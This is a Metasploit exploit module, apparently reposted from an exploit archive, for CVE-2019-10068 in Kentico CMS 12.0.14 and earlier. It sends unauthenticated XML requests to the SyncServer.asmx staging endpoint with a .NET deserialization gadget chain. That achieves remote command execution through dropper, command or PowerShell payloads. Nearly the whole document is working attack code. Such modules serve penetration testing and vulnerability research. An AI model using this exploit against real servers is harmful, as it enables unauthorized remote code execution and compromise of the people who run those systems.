Kentico CMS 12.0.14 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kentico CMS Staging SyncServer Unserialize Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the Kentico CMS platform versions 12.0.14 and earlier.  
Remote Command Execution is possible via unauthenticated XML requests to the Staging Service  
SyncServer.asmx interface ProcessSynchronizationTaskData method stagingTaskData parameter. XML  
input is passed to an insecure .NET deserialize call which allows for remote command execution.  
},  
'DisclosureDate' => '2019-04-15',  
'Author' =>  
[  
'Manoj Cherukuri', # Discovery  
'Justin LeMay', # Discovery  
'aushack', # msf exploit  
],  
'References' =>  
[  
['CVE', '2019-10068'],  
['URL', 'https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Payload' => { 'DisableNops' => true },  
'Targets' => [  
[ 'Windows EXE Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper  
],  
[ 'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'Space' => 3000  
],  
[ 'Windows Powershell',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_powershell  
]  
]  
))  
  
register_options([  
OptString.new('TARGETURI', [ true, 'Path to SyncServer.asmx', '/CMSPages/Staging/SyncServer.asmx']),  
Opt::RPORT(80)  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
})  
  
if res && res.body =~ /SyncServer Web Service/i # SOAP endpoint disco / WSDL  
return CheckCode::Detected  
end  
  
return CheckCode::Safe  
end  
  
def exploit  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
cmd_target = targets.select {|target| target['Type'] == :windows_command}.first  
execute_cmdstager({linemax: cmd_target.opts['Space']})  
when :windows_powershell  
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))  
end  
end  
  
def execute_command(cmd, opts = {})  
sploit = ::Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :WindowsIdentity,  
formatter: :SoapFormatter  
)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/ProcessSynchronizationTaskData'),  
'method' => 'POST',  
'vars_post' => {'stagingTaskData' => sploit}  
})  
  
unless res && res.body.include?('Unable to cast object of type')  
fail_with(Failure::UnexpectedReply, 'The payload was rejected')  
end  
end  
end  
`